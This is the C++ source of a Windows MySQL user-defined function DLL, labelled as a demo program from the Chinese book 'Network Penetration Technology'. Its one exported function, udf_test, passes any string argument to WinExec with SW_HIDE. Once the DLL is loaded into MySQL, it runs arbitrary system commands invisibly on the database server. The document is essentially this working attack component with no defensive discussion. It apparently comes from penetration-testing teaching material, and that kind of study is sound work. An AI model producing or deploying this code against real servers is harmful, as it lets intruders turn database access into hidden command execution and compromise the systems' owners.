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MySQL自定义函数的Windows版本实现

/* my.cpp
*
*  《网络渗透技术》演示程序
*  作者:san, alert7, eyas, watercloud
*
*  MySQL自定义函数的Windows版本实现
*/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

enum Item_result {STRING_RESULT,REAL_RESULT,INT_RESULT};

typedef struct st_udf_args
{
  unsigned int arg_count;               /* Number of arguments */
  enum Item_result *arg_type;           /* Pointer to item_results */
  char **args;                          /* Pointer to argument */
  unsigned long *lengths;               /* Length of string arguments */
  char *maybe_null;                     /* Set to 1 for all maybe_null args */
} UDF_ARGS;

  /* This holds information about the result */

typedef struct st_udf_init
{
  char maybe_null;                      /* 1 if function can return NULL */
  unsigned int decimals;                /* for real functions */
  unsigned int max_length;              /* For string functions */
  char    *ptr;                         /* free pointer for function data */
  char const_item;                      /* 0 if result is independent of arguments */
} UDF_INIT;

extern "C" {
__declspec(dllexport) int udf_test(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);
}

int udf_test(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
    if( args->arg_count != 1 )
        return 0;

    WinExec( args->args[0], SW_HIDE );
    return 0;
}


作者:san, alert7, eyas, watercloud

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